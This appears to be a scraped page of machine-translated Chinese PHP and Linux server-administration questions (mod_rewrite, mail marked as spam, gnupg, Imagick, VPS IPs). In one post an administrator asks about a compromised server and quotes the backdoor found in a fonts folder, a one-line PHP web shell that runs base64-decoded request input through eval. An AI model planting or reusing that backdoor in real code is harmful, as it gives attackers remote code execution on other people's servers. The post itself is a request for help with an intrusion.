Articles of PHP

什么样的框架可以提供一些通常在几秒钟内发生变化的数据,并且由很多人评估(类似于股票报价)?

我只熟悉php和javascript,我猜php不擅长服务大量的并发请求。 如果有人能够为我介绍更合适的框架,我将不胜感激,因为我现在还不知道关键字。 非常感谢。

Apache / PHP不允许在.htaccess文件中使用mod_rewrite

我有一个简单的.htaccess文件来重写www.domain.com/foobar.php到www.domain.com/foobar RewriteEngine On RewriteRule foobar foobar.php [L] 即使我跑了phpinfo();它也给了我一个404 phpinfo(); (显示mod_rewrite模块),并检查httpd.conf (默认使用mod_rewrite几次)。 有什么build议么?

被Postfix和PHP发送邮件总是被标记为垃圾邮件

可能重复: 如何发送电子邮件,并避免被分类为垃圾邮件 我有一个合法的网站,发送邮件使用后缀用户注册validation。 我在Linode上运行Debian上的VPS。 有没有办法validation我的服务器,以便其他服务器知道我不发送垃圾邮件? 我并不总是希望他们结束在垃圾邮件文件夹,尤其是在Gmail。

php gnupg =无法加载警告

最终目标:在我的Mediawiki扩展中使用PHP GnuPG库 我已经安装了 gpgme与依赖关系 运行pecl install gnupg = no errors 添加扩展= gnupg.so到我的php.ini : [root@dev-lamp01]# locate gnupg.so /usr/lib64/php/modules/gnupg.so [root@dev-lamp01]# file /usr/lib64/php/modules/gnupg.so /usr/lib64/php/modules/gnupg.so: ELF 64-bit LSB shared object, AMD x86-64, version 1 (SYSV), not stripped [root@dev-lamp01]# locate libgpgme.so.11 /usr/local/lib/libgpgme.so.11 /usr/local/lib/libgpgme.so.11.8.1 [root@dev-lamp01]# file /usr/local/lib/libgpgme.so.11 /usr/local/lib/libgpgme.so.11: symbolic link to `libgpgme.so.11.8.1' [root@dev-lamp01]# file /usr/local/lib/libgpgme.so.11.8.1 /usr/local/lib/libgpgme.so.11.8.1: ELF 64-bit LSB shared object, […]

EXE上的恶意行为:/ usr / bin / php CMD:/ usr / bin / php

可能重复: 我如何处理受损的服务器? 检查lfd.log并注意到脚本的块日志: Jan 10 22:01:36 xxx lfd[871]: *User Processing* PID:27023 Kill:0 User:xxxx Time:610472 EXE:/usr/bin/php CMD:/usr/bin/php /home/xxxx/public_html/fonts/article5.class.inc.php 它看起来像脚本试图执行/ usr / bin / php,但是当我看到的代码,这是一个简单的单行文件 <?php function_exists('date_default_timezone') ? date_default_timezone_set('America/Los_Angeles') : @eval(base64_decode($_REQUEST['c_id'])); 任何人都有类似的经验,有没有办法看到什么是造成/ usr / bin / php的调用? 日志说这个脚本是通过POST调用的。

文件只有PHP可读?

我想让我的服务器上的文件可以被PHP读取,但不能直接通过浏览器访问。 说我的Apache安装的根是/ apache。 我希望PHP能够获得/apache/1.txt的文本,但不允许用户去domain.tld/1.txt和查看内容。 我仍然希望能够通过FTP / SFTP无文件读/写文件。 什么是propper chmodstring呢? 642似乎可能,但我不知道如何PHP访问该文件。

安装mysql-php模块o

即时尝试安装MySQL的PHP​​上ec2亚马逊免费层,但由于某种原因无法做到这一点,我已经安装了除此之外的一切,这是最后一件事阻止我从服务器启动和运行 – 错误附加下面 [root@ip-10-244-45-91 /]# yum install mysql-php Loaded plugins: priorities, security, update-motd, upgrade-helper amzn-main | 2.1 kB 00:00 amzn-updates | 2.3 kB 00:00 248 packages excluded due to repository priority protections Setting up Install Process No package mysql-php available. Error: Nothing to do

Googlebot增加页面ID

所以这里是我从googlebot得到的一个例子: 66.249.73.171 – – [19/Feb/2013:16:12:39 -0500] "GET /eghm-blah.php?pid=2855 HTTP/1.1" 200 1684 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 我的post设置为增加新的post的pid …但是我有最高的pid是13.谷歌机器人已经慢慢地增加页码和寻找新的职位。 当它使访问尝试它不会404 eghm-blah.php将显示一条消息,它无法find您的post。 有没有办法阻止每天点击我的服务器多次寻找不存在的pid的谷歌机器人?

在CentOS 6.3 64bit上安装Imagick PHP Extension?

我正在尝试configuration和安装imagick扩展,这里是我使用的命令 wget http://pecl.php.net/get/imagick-3.0.1.tgz tar zxf imagick-3.0.1.tgz cd imagick-3.0.1 phpize ./configure 但是这个错误发生了: checking for MagickWand.h header file… configure: error: Cannot locate header file MagickWand.h 我在这个地方find了MagickWand.h /local/include/ImageMagick-6/wand 这是我的ImageMagic版本 Version: ImageMagick 6.8.3-7 2013-03-06 Q16 http://www.imagemagick.org Copyright: Copyright (C) 1999-2013 ImageMagick Studio LLC Features: DPC OpenMP Modules Delegates: bzlib djvu fontconfig freetype gslib jng jp2 jpeg lcms openexr pango […]

VPS多个IP的

我已经添加了2个IP,PHP不能在这些域上工作。 看起来很奇怪。 我一定是做错了什么,但搞不清楚。 IP :111.111.111.111,222.222.222.222和333.333.333.333 域名 :1.example.com,2.example.com,3.example.com NSLOOKUP确认域正确绑定到IP 操作系统UBUNTU SERVER 12.04在虚拟机(VPS)与一个networking接口 使用ifconfig eth0 Link encap:Ethernet HWaddr 00:16:3e:0f:2a:4f inet addr:111.111.111.111 Bcast:111.111.111.255 Mask:255.255.255.0 …. lo链接封面:… 的/ etc /networking/接口 auto lo eth0 iface lo inet loopback iface eth0 inet static 地址111.111.111.111 networking掩码255.255.255.0 网关111.111.111.1 /etc/rc.local – 这是我如何添加2个额外的IP地址 ip address add 222.222.222.222 dev lo ip地址加上333.333.333.333 dev lo 退出0 APACHE2 / […]